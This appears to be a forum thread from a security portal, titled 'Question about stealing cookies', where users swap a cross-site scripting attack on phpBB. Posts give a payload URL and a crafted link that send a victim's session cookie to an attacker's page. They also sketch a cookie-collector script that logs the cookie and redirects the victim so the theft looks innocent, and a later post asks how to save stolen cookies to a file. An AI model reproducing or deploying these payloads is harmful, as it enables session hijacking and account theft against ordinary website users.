Waraxe IT Security Portal
Login or Register
October 17, 2026
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 1108
Members: 0
Total: 1108
Full disclosure
VestaCP <= 0.9.8-26: authenticated config-parser eval sinks ->root RCE (VESTACP-2026-001)
[SYSS-2026-080]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-079]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-078]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-077]: dcm4che - Path Traversal (CWE-22)
[0day-rubbish] Synametrics Syncrify 6.2 build 1178 authenticated PublicLink chunk-upload path traversal to /etc/cron.d and root command execution (7.5)
[0day-rubbish] South River Technologies Titan MFT Server 26.0.0 first-run administrator setup chained to job post-command injection, NT AUTHORITY\SYSTEM (8.1)
[0day-rubbish] SmartBear Collaborator Server 15.1.15101 authenticated DOORS/Simulink review-file upload zip-slip to anonymous webroot Groovy Server Page execution as uid 1001 (7.5)
[0day-rubbish] PacsOne Server 7.3.9 authenticated DICOMweb STOW-RS SOP Instance UID path traversal to www-data code execution on a PACS host (7.2)
[0day-rubbish] Maian Pal 2.1 product image upload with no extension allow-list to PHP webshell and www-data uid 33 code execution (7.2, PR:H)
[0day-rubbish] Maian Guardian 2.1 license generator projid command injection to www-data uid 33 code execution (7.2, PR:H)
[0day-rubbish] Dataedo Portal 26.2.8 with Dataedo Agent 26.2.8 unrestricted scheduler job-type deserialization to Agent-host command execution (8.1)
[0day-rubbish] CloudPanel 2.5.4-3 site-settings rootDirectory nginx virtual-host injection to host root code execution (8.8)
[0day-rubbish] Auerswald COMmander 6000 / 6000R 8.6D unauthenticated provisioning import zip-slip to root binary hijack and root code execution (9.8)
[0day-rubbish] Abyss Web Server X1 2.16.22.0 first-run console credential takeover to configuration-write log-as-CGI command execution (7.5)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Cross-site scripting aka XSS -> Question about stealing cookies
Post new topicReply to topic View previous topic :: View next topic
Question about stealing cookies
PostPosted: Wed Jul 21, 2004 10:26 am Reply with quote
Alcker
Beginner
Beginner
Joined: Jul 21, 2004
Posts: 3




Hi, It was proving new bug of phpBB, FAQ, and I used the example in http://www.waraxe.us/forum/viewtopic.php?t=224. I have put it of this form:

Code:
http://target.com/phpBB2/faq.php?faq[0][0]=%3Cscript%3Edocument.location= 'www.web.com/cookie.php?cookie=' + window.document.cookie;%3C/script%3E


but I do not obtain any result Sad. Knows somebody to that it must?

Thx very much!

PD: Sorry of my english, Confused
View user's profile Send private message
PostPosted: Wed Jul 21, 2004 2:12 pm Reply with quote
r0ot
Regular user
Regular user
Joined: Jul 18, 2004
Posts: 15




Quote:


--------------------------------------------------------------------------------

Hi, It was proving new bug of phpBB, FAQ, and I used the example in http://www.waraxe.us/forum/viewtopic.php?t=224. I have put it of this form:

Code:
http://target.com/phpBB2/faq.php?faq[0][0]=%3Cscript%3Edocument.location= 'www.web.com/cookie.php?cookie=' + window.document.cookie;%3C/script%3E


but I do not obtain any result . Knows somebody to that it must?

Thx very much!


www.web.com/cookie.php <-- your site with a special page to gather cookies from a querystring and store in somewhere(db, file, etc)

but theres no use if u click the link cause will send your cookies to the page... lol not the one u want

Got it?

If not, mail me or pvt..

Best Regards

r0ot

_________________
View user's profile Send private message
PostPosted: Wed Jul 21, 2004 3:11 pm Reply with quote
Alcker
Beginner
Beginner
Joined: Jul 21, 2004
Posts: 3




If, that page is prepared, but it does not go Sad (I don't know the reason),

Can give me an example for this bug? (If there are)

Thanks!
View user's profile Send private message
PostPosted: Wed Jul 21, 2004 6:29 pm Reply with quote
r0ot
Regular user
Regular user
Joined: Jul 18, 2004
Posts: 15




sup Alck,

This isnt a bug, but a attack type that pretends that a user that dun know bout click on the link after he loggon a site, etc... (like a forum, so u make a post and put a link etc...)
Lemme show a example:
I aint no good @ php lets try some asp pages hehe

@1-Your Target: www.forum.com

@2-Your page that will get the cookie: www.myweb.com/cookie.asp


You make a post on @1 that have a url like this:
<a href="#" onClick="document.location = 'http://www.myweb.com/cookie.asp?cookieValue=' + window.document.cookie">Click here to check my new website</a>

So if the user click on crafted link they will be redirected for your page wich will do the follow:

1- get cookie and store it on a table
2- redirect the user for the correct link (so don look suspicious)

cookie.asp
-------------------------
<%
.... (connect to the db, creates a recordset, etc..)
dim rCookieValue
rCookieValue = trim(request("cookieValue"))

... (insert into the db with rCookieValue)

%>
<script>
location.href = 'rightpage.asp'
</script>

------------------------

Got it?

_________________
View user's profile Send private message
PostPosted: Wed Jul 21, 2004 10:12 pm Reply with quote
Alcker
Beginner
Beginner
Joined: Jul 21, 2004
Posts: 3




That already I have fact, the problem is that it does not work to me: (

Thx!!
View user's profile Send private message
PostPosted: Thu Jul 22, 2004 12:33 pm Reply with quote
r0ot
Regular user
Regular user
Joined: Jul 18, 2004
Posts: 15




Np m8, anytime.

If u want help juz pm me

_________________
View user's profile Send private message
WTF
PostPosted: Fri Jul 23, 2004 8:57 pm Reply with quote
Cface
Beginner
Beginner
Joined: Jul 23, 2004
Posts: 3




Hey I'm pretty stupid so could you break it down to me. I'm new to this.

_________________
I g0t hack3d, now it's payback!
View user's profile Send private message Yahoo Messenger MSN Messenger
PostPosted: Thu May 05, 2005 12:35 pm Reply with quote
KarachiKing555
Beginner
Beginner
Joined: May 05, 2005
Posts: 1




r0ot wrote:
sup Alck,

This isnt a bug, but a attack type that pretends that a user that dun know bout click on the link after he loggon a site, etc... (like a forum, so u make a post and put a link etc...)
Lemme show a example:
I aint no good @ php lets try some asp pages hehe

@1-Your Target: www.forum.com

@2-Your page that will get the cookie: www.myweb.com/cookie.asp


You make a post on @1 that have a url like this:
<a href="#" onClick="document.location = 'http://www.myweb.com/cookie.asp?cookieValue=' + window.document.cookie">Click here to check my new website</a>

So if the user click on crafted link they will be redirected for your page wich will do the follow:

1- get cookie and store it on a table
2- redirect the user for the correct link (so don look suspicious)

cookie.asp
-------------------------
<%
.... (connect to the db, creates a recordset, etc..)
dim rCookieValue
rCookieValue = trim(request("cookieValue"))

... (insert into the db with rCookieValue)

%>
<script>
location.href = 'rightpage.asp'
</script>

------------------------

Got it?


what if i want cookies in txt file ! on my server ??
View user's profile Send private message
Question about stealing cookies
www.waraxe.us Forum Index -> Cross-site scripting aka XSS
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.054 Seconds